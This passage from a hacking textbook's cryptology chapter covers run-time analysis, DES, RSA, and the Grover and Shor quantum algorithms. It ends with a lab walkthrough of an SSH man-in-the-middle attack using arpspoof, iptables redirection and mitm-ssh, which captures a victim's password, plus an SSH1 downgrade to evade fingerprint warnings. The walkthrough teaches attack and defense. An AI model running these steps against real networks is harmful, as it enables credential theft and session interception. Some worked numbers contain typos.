Algorithmic run time is a bit different from the run time of a program. Since an algorithm is simply an idea, there’s no limit to the processing speed for evaluating the algorithm. This means that an expression of algorithmic run time in minutes or seconds is meaningless. Without factors such as processor speed and architecture, the important unknown for an algorithm is input size. A sorting algorithm running on 1,000 elements will certainly take longer than the same sorting algorithm running on 10 elements. The input size is generally denoted by n, and each atomic step can be expressed as a number. The run time of a simple algorithm, such as the one that follows, can be expressed in terms of n. for(i = 1 to n) { Do something; Do another thing; } Do one last thing;

This algorithm loops n times, each time doing two actions, and then does one last action, so the time complexity for this algorithm would be 2n + 1. A more complex algorithm with an additional nested loop tacked on, shown below, would have a time complexity of n2 + 2n + 1, since the new action is executed n2 times. for(x = 1 to n) { for(y = 1 to n) { Do the new action; } } for(i = 1 to n) { Do something; Do another thing; } Do one last thing;

But this level of detail for time complexity is still too granular. For example, as n becomes larger, the relative difference between 2n + 5 and 2n + 365 becomes less and less. However, as n becomes larger, the relative difference between 2n2 + 5 and 2n + 5 becomes larger and larger. This type of generalized trending is what is most important to the run time of an algorithm. Consider two algorithms, one with a time complexity of 2n + 365 and the other with 2n2 + 5. The 2n2 + 5 algorithm will outperform the 2n + 365 algorithm on small values for n. But for n = 30, both algorithms perform equally, and for all n greater than 30, the 2n + 365 algorithm will outperform the 2n2 + 5 algorithm. Since there are only 30 values for n in which the 2n2 + 5 algorithm performs better, but an infinite number of values for n in which the 2n + 365 algorithm performs better, the 2n + 365 algorithm is generally more efficient.
C r y pt ol og y

397

This means that, in general, the growth rate of the time complexity of an algorithm with respect to input size is more important than the time complexity for any fixed input. While this might not always hold true for specific real-world applications, this type of measurement of an algorithm’s efficiency tends to be true when averaged over all possible applications.

0x721 Asymptotic Notation
Asymptotic notation is a way to express an algorithm’s efficiency. It’s called asymptotic because it deals with the behavior of the algorithm as the input size approaches the asymptotic limit of infinity. Returning to the examples of the 2n + 365 algorithm and the 2n2 + 5 algorithm, we determined that the 2n + 365 algorithm is generally more efficient because it follows the trend of n, while the 2n2 + 5 algorithm follows the general trend of n2. This means that 2n + 365 is bounded above by a positive multiple of n for all sufficiently large n, and 2n2 + 5 is bounded above by a positive multiple of n2 for all sufficiently large n. This sounds kind of confusing, but all it really means is that there exists a positive constant for the trend value and a lower bound on n, such that the trend value multiplied by the constant will always be greater than the time complexity for all n greater than the lower bound. In other words, 2n2 + 5 is in the order of n2, and 2n + 365 is in the order of n. There’s a convenient mathematical notation for this, called big-oh notation, which looks like O(n2) to describe an algorithm that is in the order of n2. A simple way to convert an algorithm’s time complexity to big-oh notation is to simply look at the high-order terms, since these will be the terms that matter most as n becomes sufficiently large. So an algorithm with a time complexity of 3n4 + 43n3 + 763n + log n + 37 would be in the order of O(n4), and 54n7 + 23n4 + 4325 would be O(n7).

0x730

Symmetric Encryption
Symmetric ciphers are cryptosystems that use the same key to encrypt and decrypt messages. The encryption and decryption process is generally faster than with asymmetric encryption, but key distribution can be difficult. These ciphers are generally either block ciphers or stream ciphers. A block cipher operates on blocks of a fixed size, usually 64 or 128 bits. The same block of plaintext will always encrypt to the same ciphertext block, using the same key. DES, Blowfish, and AES (Rijndael) are all block ciphers. Stream ciphers generate a stream of pseudo-random bits, usually either one bit or byte at a time. This is called the keystream, and it is XORed with the plaintext. This is useful for encrypting continuous streams of data. RC4 and LSFR are examples of popular stream ciphers. RC4 will be discussed in depth in “Wireless 802.11b Encryption” on page 433. DES and AES are both popular block ciphers. A lot of thought goes into the construction of block ciphers to make them resistant to known cryptanalytical attacks. Two concepts used repeatedly in block ciphers are confusion

398

0x 700

and diffusion. Confusion refers to methods used to hide relationships between the plaintext, the ciphertext, and the key. This means that the output bits must involve some complex transformation of the key and plaintext. Diffusion serves to spread the influence of the plaintext bits and the key bits over as much of the ciphertext as possible. Product ciphers combine both of these concepts by using various simple operations repeatedly. Both DES and AES are product ciphers. DES also uses a Feistel network. It is used in many block ciphers to ensure that the algorithm is invertible. Basically, each block is divided into two halves, left (L) and right (R). Then, in one round of operation, the new left half (L i) is set to be equal to the old right half (Ri−1), and the new right half (Ri ) is made up of the old left half (Li−1) XORed with the output of a function using the old right half (Ri−1) and the subkey for that round (Ki ). Usually, each round of operation has a separate subkey, which is calculated earlier. The values for Li and Ri are as follows (the ⊕ symbol denotes the XOR operation): Li = Ri−1 Ri = Li−1 ⊕ f(Ri−1, Ki) DES uses 16 rounds of operation. This number was specifically chosen to defend against differential cryptanalysis. DES’s only real known weakness is its key size. Since the key is only 56 bits, the entire keyspace can be checked in an exhaustive brute-force attack in a few weeks on specialized hardware. Triple-DES fixes this problem by using two DES keys concatenated together for a total key size of 112 bits. Encryption is done by encrypting the plaintext block with the first key, then decrypting with the second key, and then encrypting again with the first key. Decryption is done analogously, but with the encryption and decryption operations switched. The added key size makes a brute-force effort exponentially more difficult. Most industry-standard block ciphers are resistant to all known forms of cryptanalysis, and the key sizes are usually too big to attempt an exhaustive brute-force attack. However, quantum computation provides some interesting possibilities, which are generally overhyped.

0x731 Lov Grover’s Quantum Search Algorithm
Quantum computation gives the promise of massive parallelism. A quantum computer can store many different states in a superposition (which can be thought of as an array) and perform calculations on all of them at once. This is ideal for brute forcing anything, including block ciphers. The superposition can be loaded up with every possible key, and then the encryption operation can be performed on all the keys at the same time. The tricky part is getting the right value out of the superposition. Quantum computers are weird in that when the superposition is looked at, the whole thing decoheres into a single state. Unfortunately, this decoherence is initially random, and the odds of decohering into each state in the superposition are equal.
C r y pt ol og y

399

Without some way to manipulate the odds of the superposition states, the same effect could be achieved by just guessing keys. Fortuitously, a man named Lov Grover came up with an algorithm that can manipulate the odds of the superposition states. This algorithm allows the odds of a certain desired state to increase while the others decrease. This process is repeated several times until the decohering of the superposition into the desired state is nearly guaranteed. This takes about O n steps. Using some basic exponential math skills, you will notice that this just effectively halves the key size for an exhaustive brute-force attack. So, for the ultra paranoid, doubling the key size of a block cipher will make it resistant to even the theoretical possibilities of an exhaustive brute-force attack with a quantum computer.

0x740

Asymmetric Encryption
Asymmetric ciphers use two keys: a public key and a private key. The public key is made public, while the private key is kept private; hence the clever names. Any message that is encrypted with the public key can only be decrypted with the private key. This removes the issue of key distribution—public keys are public, and by using the public key, a message can be encrypted for the corresponding private key. Unlike symmetric ciphers, there’s no need for an out-of-band communication channel to transmit the secret key. However, asymmetric ciphers tend to be quite a bit slower than symmetric ciphers.

0x741 RSA
RSA is one of the more popular asymmetric algorithms. The security of RSA is based on the difficulty of factoring large numbers. First, two prime numbers are chosen, P and Q, and their product, N, is computed: N = P · Q Then, the number of numbers between 1 and N − 1 that are relatively prime to N must be calculated (two numbers are relatively prime if their greatest common divisor is 1). This is known as Euler’s totient function, and it is usually denoted by the lowercase Greek letter phi (φ). For example, φ(9) = 6, since 1, 2, 4, 5, 7, and 8 are relatively prime to 9. It should be easy to notice that if N is prime, φ(N ) will be N − 1. A somewhat less obvious fact is that if N is the product of exactly two prime numbers, P and Q, then φ(P · Q ) = (P − 1) · (Q − 1). This comes in handy, since φ(N ) must be calculated for RSA. An encryption key, E, that is relatively prime to φ(N ), must be chosen at random. Then a decryption key must be found that satisfies the following equation, where S is any integer: E · D = S · φ(N ) + 1 This can be solved with the extended Euclidean algorithm. The Euclidean algorithm is a very old algorithm that happens to be a very fast way to calculate
400
0x 700

the greatest common divisor (GCD) of two numbers. The larger of the two numbers is divided by the smaller number, paying attention only to the remainder. Then, the smaller number is divided by the remainder, and the process is repeated until the remainder is zero. The last value for the remainder before it reaches zero is the greatest common divisor of the two original numbers. This algorithm is quite fast, with a run time of O(log10N ). That means that it should take about as many steps to find the answer as the number of digits in the larger number. In the table below, the GCD of 7253 and 120, written as gcd(7253, 120), will be calculated. The table starts by putting the two numbers in the columns A and B, with the larger number in column A. Then A is divided by B, and the remainder is put in column R. On the next line, the old B becomes the new A, and the old R becomes the new B. R is calculated again, and this process is repeated until the remainder is zero. The last value of R before zero is the greatest common divisor. gcd(7253, 120) A 7253 120 53 14 11 3 2 B 120 53 14 11 3 2 1 R 53 14 11 3 2 1 0

So, the greatest common divisor of 7243 and 120 is 1. That means that 7250 and 120 are relatively prime to each other. The extended Euclidean algorithm deals with finding two integers, J and K, such that J · A + K · B = R when gcd(A, B) = R. This is done by working the Euclidean algorithm backward. In this case, though, the quotients are important. Here is the math from the prior example, with the quotients: 7253 = 60 · 120 + 53 120 53 14 11 3 = 2 · 53 + 14 = 3 · 14 + 11 = 1 · 11 + 3 = 3 · 3 + 2 = 1 · 2 + 1

C r y pt ol og y

401

With a little bit of basic algebra, the terms can be moved around for each line so the remainder (shown in bold) is by itself on the left of the equal sign: 53 = 7253 − 60 · 120 14 = 120 − 2 · 53 11 = 53 − 3 · 14 3 = 14 − 1 · 11 2 = 11 − 3 · 3 1 = 3 − 1 · 2 Starting from the bottom, it’s clear that: 1 = 3 − 1 · 2 The line above that, though, is 2 = 11 − 3 · 3, which gives a substitution for 2: 1 = 3 − 1 · (11 − 3 · 3) 1 = 4 · 3 − 1 · 11 The line above that shows that 3 = 14 − 1 · 11, which can also be substituted in for 3: 1 = 4 · (14 − 1 · 11) − 1 · 11 1 = 4 · 14 − 5 · 11 Of course, the line above that shows that 11 = 53 − 3 · 14, prompting another substitution: 1 = 4 · 14 − 5 · (53 − 3 · 14) 1 = 19 · 14 − 5 · 53 Following the pattern, we use the line that shows 14 = 120 − 2 · 53, resulting in another substitution: 1 = 19 · (120 − 2 · 53) − 5 · 53 1 = 19 · 120 − 43 · 53 And finally, the top line shows that 53 = 7253 − 60 · 120, for a final substitution: 1 = 19 · 120 − 43 · (7253 − 60 · 120) 1 = 2599 · 120 − 43 · 7253 2599 · 120 + −43 · 7253 = 1 This shows that J and K would be 2599 and −43, respectively.

402

0x 700

The numbers in the previous example were chosen for their relevance to RSA. Assuming the values for P and Q are 11 and 13, N would be 143. Therefore, φ(N ) = 120 = (11 − 1) · (13 − 1). Since 7253 is relatively prime to 120, that number makes an excellent value for E. If you recall, the goal was to find a value for D that satisfies the following equation: E · D = S · φ(N ) + 1 Some basic algebra puts it in a more familiar form: D · E + S · φ(N ) = 1 D · 7253 ± S · 120 = 1 Using the values from the extended Euclidean algorithm, it’s apparent that D = −43. The value for S doesn’t really matter, which means this math is done modulo φ(N ), or modulo 120. That, in turn, means that a positive equivalent value for D is 77, since 120 − 43 = 77. This can be put into the prior equation from above: E · D = S · φ(N ) + 1 7253 · 77 = 4654 · 120 + 1 The values for N and E are distributed as the public key, while D is kept secret as the private key. P and Q are discarded. The encryption and decryption functions are fairly simple. Encryption: C = ME(modN) Decryption: M = CD(modN) For example, if the message, M, is 98, encryption would be as follows: 987253 = 76(mod143) The ciphertext would be 76. Then, only someone who knew the value for D could decrypt the message and recover the number 98 from the number 76, as follows: 7677 = 98(mod143) Obviously, if the message, M, is larger than N, it must be broken down into chunks that are smaller than N. This process is made possible by Euler’s totient theorem. It states that if M and N are relatively prime, with M being the smaller number, then when M is multiplied by itself φ(N ) times and divided by N, the remainder will always be 1: If gcd(M, N) = 1 and M < N then Mφ(N) = 1(modN)

C r y pt ol og y

403

Since this is all done modulo N, the following is also true, due to the way multiplication works in modulus arithmetic: Mφ(N) · Mφ(N) = 1 · 1(modN) M2 · φ(N) = 1(modN ) This process could be repeated again and again S times to produce this: M S · φ(N) = 1(modN) If both sides are multiplied by M, the result is: M S · φ(N) · M = 1 · M(modN ) M S · φ(N) + 1 = M(modN ) This equation is basically the core of RSA. A number, M, raised to a power modulo N, produces the original number M again. This is basically a function that returns its own input, which isn’t all that interesting by itself. But if this equation could be broken up into two separate parts, then one part could be used to encrypt and the other to decrypt, producing the original message again. This can be done by finding two numbers, E and D, that multiplied together equal S times φ(N ) plus 1. Then this value can be substituted into the previous equation: E · D = S · φ(N ) + 1 M E · D = M(modN) This is equivalent to:
M
E
D

= M(modN)

which can be broken up into two steps: ME = C(modN) CD = M(modN) And that’s basically RSA. The security of the algorithm is tied to keeping D secret. But since N and E are both public values, if N can be factored into the original P and Q, then φ(N) can easily be calculated with (P − 1) · (Q − 1), and then D can be determined with the extended Euclidean algorithm. Therefore, the key sizes for RSA must be chosen with the best-known factoring algorithm in mind to maintain computational security. Currently, the bestknown factoring algorithm for large numbers is the number field sieve (NFS). This algorithm has a subexponential run time, which is pretty good, but still not fast enough to crack a 2,048-bit RSA key in a reasonable amount of time.

0x742 Peter Shor’s Quantum Factoring Algorithm
Once again, quantum computation promises amazing increases in computation potential. Peter Shor was able to take advantage of the massive parallelism of quantum computers to efficiently factor numbers using an old numbertheory trick.
404
0x 700

The algorithm is actually quite simple. Take a number, N, to factor. Choose a value, A, that is less than N. This value should also be relatively prime to N, but assuming that N is the product of two prime numbers (which will always be the case when trying to factor numbers to break RSA), if A isn’t relatively prime to N, then A is one of N’s factors. Next, load up the superposition with sequential numbers counting up from 1 and feed every one of those values through the function f(x) = Ax(modN ). This is all done at the same time, through the magic of quantum computation. A repeating pattern will emerge in the results, and the period of this repetition must be found. Luckily, this can be done quickly on a quantum computer with a Fourier transform. This period will be called R. Then, simply calculate gcd(AR/2 + 1, N) and gcd(AR/2 − 1, N). At least one of these values should be a factor of N. This is possible because AR = 1(modN) and is further explained below. AR = 1(modN) (AR/2)2 = 1(modN) (AR/2)2 − 1 = 0(modN ) (AR/2 − 1) · (AR/2 + 1) = 0(modN ) This means that (AR/2 − 1) · (AR/2 + 1) is an integer multiple of N. As long as these values don’t zero themselves out, one of them will have a factor in common with N. To crack the previous RSA example, the public value N must be factored. In this case N equals 143. Next, a value for A is chosen that is relatively prime to and less than N, so A equals 21. The function will look like f(x) = 21x(mod143). Every sequential value from 1 up to as high as the quantum computer will allow will be put through this function. To keep this brief, the assumption will be that the quantum computer has three quantum bits, so the superposition can hold eight values. x x x x x x x x = = = = = = = = 1 2 3 4 5 6 7 8 211(mod143) 212(mod143) 213(mod143) 214(mod143) 215(mod143) 216(mod143) 217(mod143) 218(mod143) = = = = = = = = 21 12 109 1 21 12 109 1

Here the period is easy to determine by eye: R is 4. Armed with this information, gcd(212 − 1143) and gcd(212 + 1143) should produce at least one of the factors. This time, both factors actually appear, since gcd(440, 143) = 11 and gcd(442, 142) = 13. These factors can then be used to recalculate the private key for the previous RSA example.
C r y pt ol og y

405

0x750 Hybrid Ciphers
A hybrid cryptosystem gets the best of both worlds. An asymmetric cipher is used to exchange a randomly generated key that is used to encrypt the remaining communications with a symmetric cipher. This provides the speed and efficiency of a symmetric cipher, while solving the dilemma of secure key exchange. Hybrid ciphers are used by most modern cryptographic applications, such as SSL, SSH, and PGP. Since most applications use ciphers that are resistant to cryptanalysis, attacking the cipher usually won’t work. However, if an attacker can intercept communications between both parties and masquerade as one or the other, the key exchange algorithm can be attacked.

0x751 Man-in-the-Middle Attacks
A man-in-the-middle (MitM) attack is a clever way to circumvent encryption. The attacker sits between the two communicating parties, with each party believing they are communicating with the other party, but both are communicating with the attacker. When an encrypted connection between the two parties is established, a secret key is generated and transmitted using an asymmetric cipher. Usually, this key is used to encrypt further communication between the two parties. Since the key is securely transmitted and the subsequent traffic is secured by the key, all of this traffic is unreadable by any would-be attacker sniffing these packets. However, in an MitM attack, party A believes that she is communicating with B, and party B believes he is communicating with A, but in reality, both are communicating with the attacker. So, when A negotiates an encrypted connection with B, A is actually opening an encrypted connection with the attacker, which means the attacker securely communicates with an asymmetric cipher and learns the secret key. Then the attacker just needs to open another encrypted connection with B, and B will believe that he is communicating with A, as shown in the following illustration.
Encrypted Communication with Key 1 Appears to be System B

Attacker
Appears to be System A

System A

Encrypted Communication with Key 2

Systems A and B both believe they are communicating with each other.

System B

406

0x 700

This means that the attacker actually maintains two separate encrypted communication channels with two separate encryption keys. Packets from A are encrypted with the first key and sent to the attacker, which A believes is actually B. The attacker then decrypts these packets with the first key and re-encrypts them with the second key. Then the attacker sends the newly encrypted packets to B, and B believes these packets are actually being sent by A. By sitting in the middle and maintaining two separate keys, the attacker is able to sniff and even modify traffic between A and B without either side being the wiser. After redirecting traffic using an ARP cache poisoning tool, there are a number of SSH man-in-the-middle attack tools that can be used. Most of these are just modifications to the existing openssh source code. One notable example is the aptly named mitm-ssh package, by Claes Nyberg, which has been included on the LiveCD. This can all be done with the ARP redirection technique from “Active Sniffing” on page 239 and a modified openssh package aptly called mitmssh. There are other tools that do this; however, Claes Nyberg’s mitm-ssh is publicly available and the most robust. The source package is on the LiveCD in /usr/src/mitm-ssh, and it has already been built and installed. When running, it accepts connections to a given port and then proxies these connections to the real destination IP address of the target SSH server. With the help of arpspoof to poison ARP caches, traffic to the target SSH server can be redirected to the attacker’s machine running mitm-ssh. Since this program listens on localhost, some IP filtering rules are needed to redirect the traffic. In the example below, the target SSH server is at 192.168.42.72. When mitm-ssh is run, it will listen on port 2222, so it doesn’t need to be run as root. The iptables command tells Linux to redirect all incoming TCP connections on port 22 to localhost 2222, where mitm-ssh will be listening. reader@hacking:~ $ sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222 reader@hacking:~ $ sudo iptables -t nat -L Chain PREROUTING (policy ACCEPT) target prot opt source destination REDIRECT tcp -- anywhere anywhere tcp dpt:ssh redir ports 2222 Chain POSTROUTING (policy ACCEPT) target prot opt source Chain OUTPUT (policy ACCEPT) target prot opt source reader@hacking:~ $ mitm-ssh .. /|\ _|_

destination

destination

SSH Man In The Middle [Based on OpenSSH_3.9p1] By CMN

Usage: mitm-ssh [option(s)] Routes:
C r y pt ol og y

407

[:] - Static route to port on host (for non NAT connections) Options: -v -n -d -p port -f configfile Log Options: -c logdir -s logdir -o file

-

Verbose output Do not attempt to resolve hostnames Debug, repeat to increase verbosity Port to listen for connections on Configuration file to read

- Log data from client in directory - Log data from server in directory - Log passwords to file

reader@hacking:~ $ mitm-ssh 192.168.42.72 -v -n -p 2222 Using static route to 192.168.42.72:22 SSH MITM Server listening on 0.0.0.0 port 2222. Generating 768 bit RSA key. RSA key generation complete.

Then in another terminal window on the same machine, Dug Song’s arpspoof tool is used to poison ARP caches and redirect traffic destined for 192.168.42.72 to our machine, instead. reader@hacking:~ $ arpspoof Version: 2.3 Usage: arpspoof [-i interface] [-t target] host reader@hacking:~ $ sudo arpspoof -i eth0 192.168.42.72 0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.42.72 is-at 0:12:3f:7:39:9c 0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.42.72 is-at 0:12:3f:7:39:9c 0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.42.72 is-at 0:12:3f:7:39:9c

And now the MitM attack is all set up and ready for the next unsuspecting victim. The output below is from another machine on the network (192.168.42.250), which makes an SSH connection to 192.168.42.72. On Machine 192.168.42.250 (tetsuo), Connecting to 192.168.42.72 (loki) iz@tetsuo:~ $ ssh jose@192.168.42.72 The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established. RSA key fingerprint is 84:7a:71:58:0f:b5:5e:1b:17:d7:b5:9c:81:5a:56:7c. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.42.72' (RSA) to the list of known hosts. jose@192.168.42.72's password: Last login: Mon Oct 1 06:32:37 2007 from 192.168.42.72 Linux loki 2.6.20-16-generic #2 SMP Thu Jun 7 20:19:32 UTC 2007 i686 jose@loki:~ $ ls -a . .. .bash_logout .bash_profile .bashrc .bashrc.swp jose@loki:~ $ id uid=1001(jose) gid=1001(jose) groups=1001(jose) jose@loki:~ $ exit logout

.profile

Examples

408

0x 700

Connection to 192.168.42.72 closed. iz@tetsuo:~ $

Everything seems okay, and the connection appeared to be secure. However, the connection was secretly routed through the attacker’s machine, which used a separate encrypted connection to back to the target server. Back on the attacker’s machine, everything about the connection has been logged. On the Attacker’s Machine reader@hacking:~ $ sudo mitm-ssh 192.168.42.72 -v -n -p 2222 Using static route to 192.168.42.72:22 SSH MITM Server listening on 0.0.0.0 port 2222. Generating 768 bit RSA key. RSA key generation complete. WARNING: /usr/local/etc/moduli does not exist, using fixed modulus [MITM] Found real target 192.168.42.72:22 for NAT host 192.168.42.250:1929 [MITM] Routing SSH2 192.168.42.250:1929 -> 192.168.42.72:22 [2007-10-01 13:33:42] MITM (SSH2) 192.168.42.250:1929 -> 192.168.42.72:22 SSH2_MSG_USERAUTH_REQUEST: jose ssh-connection password 0 sP#byp%srt [MITM] Connection from UNKNOWN:1929 closed reader@hacking:~ $ ls /usr/local/var/log/mitm-ssh/ passwd.log ssh2 192.168.42.250:1929 192.168.42.72:22 reader@hacking:~ $ cat /usr/local/var/log/mitm-ssh/passwd.log [2007-10-01 13:33:42] MITM (SSH2) 192.168.42.250:1929 -> 192.168.42.72:22 SSH2_MSG_USERAUTH_REQUEST: jose ssh-connection password 0 sP#byp%srt reader@hacking:~ $ cat /usr/local/var/log/mitm-ssh/ssh2* Last login: Mon Oct 1 06:32:37 2007 from 192.168.42.72 Linux loki 2.6.20-16-generic #2 SMP Thu Jun 7 20:19:32 UTC 2007 i686 jose@loki:~ $ ls -a . .. .bash_logout .bash_profile .bashrc .bashrc.swp .profile Examples jose@loki:~ $ id uid=1001(jose) gid=1001(jose) groups=1001(jose) jose@loki:~ $ exit logout

Since the authentication was actually redirected, with the attacker’s machine acting as a proxy, the password sP#byp%srt could be sniffed. In addition, the data transmitted during the connection is captured, showing the attacker everything the victim did during the SSH session. The attacker’s ability to masquerade as either party is what makes this type of attack possible. SSL and SSH were designed with this in mind and have protections against identity spoofing. SSL uses certificates to validate identity, and SSH uses host fingerprints. If the attacker doesn’t have the proper certificate or fingerprint for B when A attempts to open an encrypted
C r y pt ol og y

409

communication channel with the attacker, the signatures won’t match and A will be alerted with a warning. In the previous example, 192.168.42.250 (tetsuo) had never previously communicated over SSH with 192.168.42.72 (loki) and therefore didn’t have a host fingerprint. The host fingerprint that it accepted was actually the fingerprint generated by mitm-ssh. If, however, 192.168.42.250 (tetsuo) had a host fingerprint for 192.168.42.72 (loki), the whole attack would have been detected, and the user would have been presented with a very blatant warning: iz@tetsuo:~ $ ssh jose@192.168.42.72 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that the RSA host key has just been changed. The fingerprint for the RSA key sent by the remote host is 84:7a:71:58:0f:b5:5e:1b:17:d7:b5:9c:81:5a:56:7c. Please contact your system administrator. Add correct host key in /home/jon/.ssh/known_hosts to get rid of this message. Offending key in /home/jon/.ssh/known_hosts:1 RSA host key for 192.168.42.72 has changed and you have requested strict checking. Host key verification failed. iz@tetsuo:~ $

The openssh client will actually prevent the user from connecting until the old host fingerprint has been removed. However, many Windows SSH clients don’t have the same kind of strict enforcement of these rules and will present the user with an “Are you sure you want to continue?” dialog box. An uninformed user might just click right through the warning.

0x752 Differing SSH Protocol Host Fingerprints
SSH host fingerprints do have a few vulnerabilities. These vulnerabilities have been compensated for in the most recent versions of openssh, but they still exist in older implementations. Usually, the first time an SSH connection is made to a new host, that host’s fingerprint is added to a known_hosts file, as shown here: iz@tetsuo:~ $ ssh jose@192.168.42.72 The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established. RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.42.72' (RSA) to the list of known hosts. jose@192.168.42.72's password: iz@tetsuo:~ $ grep 192.168.42.72 ~/.ssh/known_hosts 192.168.42.72 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA8Xq6H28EOiCbQaFbIzPtMJSc316SH4aOijgkf7nZnH4LirNziH5upZmk4/ JSdBXcQohiskFFeHadFViuB4xIURZeF3Z7OJtEi8aupf2pAnhSHF4rmMV1pwaSuNTahsBoKOKSaTUOW0RN/1t3G/ 52KTzjtKGacX4gTLNSc8fzfZU= iz@tetsuo:~ $

410

0x 700

However, there are two different protocols of SSH—SSH1 and SSH2— each with separate host fingerprints. iz@tetsuo:~ $ rm ~/.ssh/known_hosts iz@tetsuo:~ $ ssh -1 jose@192.168.42.72 The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established. RSA1 key fingerprint is e7:c4:81:fe:38:bc:a8:03:f9:79:cd:16:e9:8f:43:55. Are you sure you want to continue connecting (yes/no)? no Host key verification failed. iz@tetsuo:~ $ ssh -2 jose@192.168.42.72 The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established. RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0. Are you sure you want to continue connecting (yes/no)? no Host key verification failed. iz@tetsuo:~ $

The banner presented by the SSH server describes which SSH protocols it understands (shown in bold below): iz@tetsuo:~ $ telnet 192.168.42.72 22 Trying 192.168.42.72... Connected to 192.168.42.72. Escape character is '^]'. SSH-1.99-OpenSSH_3.9p1 Connection closed by foreign host. iz@tetsuo:~ $ telnet 192.168.42.1 22 Trying 192.168.42.1... Connected to 192.168.42.1. Escape character is '^]'. SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntu1 Connection closed by foreign host. iz@tetsuo:~ $

The banner from 192.168.42.72 (loki) includes the string SSH-1.99, which, by convention, means that the server speaks both protocols 1 and 2. Often, the SSH server will be configured with a line like Protocol 2,1, which also means the server speaks both protocols and tries to use SSH2 if possible. This is to retain backward compatibility, so SSH1-only clients can still connect. In contrast, the banner from 192.168.42.1 includes the string SSH-2.0, which shows that the server only speaks protocol 2. In this case, it’s obvious that any clients connecting to it have only communicated with SSH2 and therefore only have host fingerprints for protocol 2. The same is true for loki (192.168.42.72); however, loki also accepts SSH1, which has a different set of host fingerprints. It’s unlikely that a client will have used SSH1, and therefore doesn’t have the host fingerprints for this protocol yet. If the modified SSH daemon being used for the MitM attack forces the client to communicate using the other protocol, no host fingerprint will be found. Instead of being presented with a lengthy warning, the user will simply
C r y pt ol og y

411

be asked to add the new fingerprint. The mitm-sshtool uses a configuration file similar to openssh’s, since it’s built from that code. By adding the line Protocol 1 to /usr/local/etc/mitm-ssh_config, the mitm-ssh daemon will claim it only speaks the SSH1 protocol. The output below shows that loki’s SSH server usually speaks using both SSH1 and SSH2 protocols, but when mitm-ssh is put in the middle using the new configuration file, the fake server claims it only speaks SSH1 protocol. From 192.168.42.250 (tetsuo), Just an Innocent Machine on the Network iz@tetsuo:~ $ telnet 192.168.42.72 22 Trying 192.168.42.72... Connected to 192.168.42.72. Escape character is '^]'. SSH-1.99-OpenSSH_3.9p1 Connection closed by foreign host. iz@tetsuo:~ $ rm ~/.ssh/known_hosts iz@tetsuo:~ $ ssh jose@192.168.42.72 The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established. RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.42.72' (RSA) to the list of known hosts. jose@192.168.42.72's password: iz@tetsuo:~ $

On the Attacker’s Machine, Setting Up mitm-ssh to Only Use SSH1 Protocol reader@hacking:~ $ echo "Protocol 1" >> /usr/local/etc/mitm-ssh_config reader@hacking:~ $ tail /usr/local/etc/mitm-ssh_config # Where to store passwords #PasswdLogFile /var/log/mitm-ssh/passwd.log # Where to store data sent from client to server #ClientToServerLogDir /var/log/mitm-ssh # Where to store data sent from server to client #ServerToClientLogDir /var/log/mitm-ssh Protocol 1 reader@hacking:~ $ mitm-ssh 192.168.42.72 -v -n -p 2222 Using static route to 192.168.42.72:22 SSH MITM Server listening on 0.0.0.0 port 2222. Generating 768 bit RSA key. RSA key generation complete.

Now Back on 192.168.42.250 (tetsuo) iz@tetsuo:~ $ telnet 192.168.42.72 22 Trying 192.168.42.72... Connected to 192.168.42.72.

412

0x 700

Escape character is '^]'. SSH-1.5-OpenSSH_3.9p1 Connection closed by foreign host.

Usually, clients such as tetsuo connecting to loki at 192.168.42.72 would have only communicated using SSH2. Therefore, there would only be a host fingerprint for SSH protocol 2 stored on the client. When protocol 1 is forced by the MitM attack, the attacker’s fingerprint won’t be compared to the stored fingerprint, due to the differing protocols. Older implementations will simply ask to add this fingerprint since, technically, no host fingerprint exists for this protocol. This is shown in the output below. iz@tetsuo:~ $ ssh jose@192.168.42.72 The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established. RSA1 key fingerprint is 45:f7:8d:ea:51:0f:25:db:5a:4b:9e:6a:d6:3c:d0:a6. Are you sure you want to continue connecting (yes/no)?

Since this vulnerability was made public, newer implementations of OpenSSH have a slightly more verbose warning: iz@tetsuo:~ $ ssh jose@192.168.42.72 WARNING: RSA key found for host 192.168.42.72 in /home/iz/.ssh/known_hosts:1 RSA key fingerprint ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0. The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established but keys of different type are already known for this host. RSA1 key fingerprint is 45:f7:8d:ea:51:0f:25:db:5a:4b:9e:6a:d6:3c:d0:a6. Are you sure you want to continue connecting (yes/no)?

This modified warning isn’t as strong as the warning given when host fingerprints of the same protocol don’t match. Also, since not all clients will be up to date, this technique can still prove to be useful for an MitM attack.

0x753 Fuzzy Fingerprints
